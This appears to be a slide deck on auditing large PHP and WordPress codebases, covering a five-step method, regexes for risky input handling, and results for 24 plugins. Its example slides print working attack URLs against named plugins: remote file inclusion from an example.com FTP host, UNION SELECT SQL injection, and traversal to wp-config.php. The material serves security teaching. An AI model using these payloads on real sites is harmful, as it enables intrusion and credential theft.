630 likes | 770 Vues
This guide outlines a comprehensive approach to conducting security audits on large codebases, focusing on defining the problem space, identifying critical vulnerabilities, and utilizing effective testing techniques. The methodology includes five key steps: targeting, understanding, reviewing high-risk code paths, testing, and assessing findings for continuous improvement. By prioritizing risks and automating aspects of the audit, organizations can better manage their security landscape, mitigate vulnerabilities more efficiently, and keep pace with evolving threats.
E N D
Large-scale application security Charlie Eriksen
Agenda • Define the problem space • Testing and auditing techniques • Step 1 – Define target • Step 2 – Understand the target • Step 3 – Find critical/high-risk code paths to review • Step 4 – Review and test • Step 5 – Asses your findings and iterate • Future challenges • Locating the absence of CSRF protection • Real-time alerting
Goals • The ability to take a large amount of code and audit it for vulnerabilities • Prioritize time spent in an audit based on risk • Spend as little time as possible to find as many vulnerabilities as possible
Problem space • Large amounts of large code bases exist • Reviewing in depth is cost prohibitive • … and is going to take all of your life • … and you’ll still miss half the vulnerabilities • What is the cost per vulnerability found? • What vulnerabilities have the higher risk? • Risk($) =
What we’re not trying to solve • Reviewing business logic • Pin-point accuracy of vulnerabilities • (Not really) reviewing for the absence of… • We’ll look at my attempt at reviewing for the absence of CSRF protection later!
Testing techniques The sweet spot
White box Black box • Pros • Not restricted by your discovery phase • Gets you straight to where interesting things happen • Cons • Some code can be too hard to statically analyze • Things may hide in plain sight • Pros • Some parts can be automated • Allows you to observe behavior • Will uncover the most obvious flaws • Cons • Uncovering some bugs can be expensive • Special code-paths may never be executed
Audit ROI • This is probably true for most companies • Large number of applications • Lots of legacy • Not enough time to audit all thoroughly • Consider: • What do you not know/Are there risks you’re not aware of? • What is your vulnerability tolerance? • What vulnerabilities have the highest impact? • What vulnerabilities are most likely to be discovered?
Audit ROI $$$ High Good! Low Hard Easy Are you google? If not, wasted time/money
Candidate point strategy • Fastest way to identify a lot of vulnerabilities • Starts with identifying: • Points with side effects • Known vulnerable patterns • Then back-tracing
Step 1 – Define target • Find a target • In-house? • Public projects? • Plugins! • Obtain source code
Step 2 - Understand the target • Learn the language • Internalize OWASP top 10 • Observe the framework and language • Dangerous functions • Mitigation techniques • Find commonly vulnerable code patterns
PHP/Wordpress important functions • A good list exists here for PHP: http://stackoverflow.com/questions/3115559/exploitable-php-functions • Highlights: • include/require • system/exec/shell_exec • eval • Wordpress specific: • wpdb
Step 3 – Find critical/high-risk code paths to review • Higher risk code paths is where you’ll want to spend more time • Determine your critical functionality and assets • Examples might be: • System calls • Database access • File system access • Web-specific things, forms, markup output • Encoding(base64) • Cryptographic usage(md5!?) • These will be our candidate points
Good PHP regexes • (include|require).*\$_(POST|GET|REQUEST) • file_get_contents.*\$_(POST|GET|REQUEST) • (eval|exec|system|shell_exec).*\$_(POST|GET|REQUEST) • SELECT .* FROM .* \$_(POST|GET|REQUEST) • (echo|print).*\$_(POST|GET|REQUEST)
Step 4 – Review and test • Start by casting the net wide on a project • As you learn more about it, start being more specific and reduce noise • Learn to review code at a glance • High risk vulnerabilities are usually easily seen at a glance
Example 1 – Cryptographic md5\s?\(.*\$_(GET|POST|REQUEST)
Example 2 – File inclusion (include|require).*\$_(POST|GET|REQUEST)
Example 2 – File inclusion /wordpress/wp-content/plugins/zingiri-web-shop/fws/download.php?abspath=ftp://hello:thisisdog@example.com/
Example 3 – SQL Injection SELECT .* FROM .* \$_(POST|GET|REQUEST)
Example 3 – SQL Injection /wordpress/wp-content/plugins/all-video-gallery/xml/playlist.php?vid=2 UNION SELECT 1, 2, user(), @@version, 5, 6, 7, 8, 9, 10, database(), 12, 13, 14, 15, 16, 17, 18
file_get_contents.*\$_(POST|GET|REQUEST) Example 4 – File disclosure
Example 4 – File disclosure /wordpress/wp-content/plugins/google-document-embedder/libs/pdf.php?fn=lol.pdf&file=../../../../wp-config.php
Step 5 – Asses your findings and iterate • Steps to take • Assess risk • Do root cause analysis • Consider if there is likely to be more vulnerabilities of this type • Find out if there are steps that can be taken to mitigate the class of vulnerability at large • Find next steps to improve your ROI • Are you coming close to your risk tolerance? • Are there still unknowns? • Are there other higher-risk areas(ROI?) • Have you addressed the most discoverable bugs?
Methodology • All vulnerabilities found using this method • All vulnerabilities submitted to Secunia SVCRP • Sweet program, check it out • Data based on their advisories • Download numbers pulled manually
Research findings • 24 plugins • ~2 million downloads • 66 vulnerabilities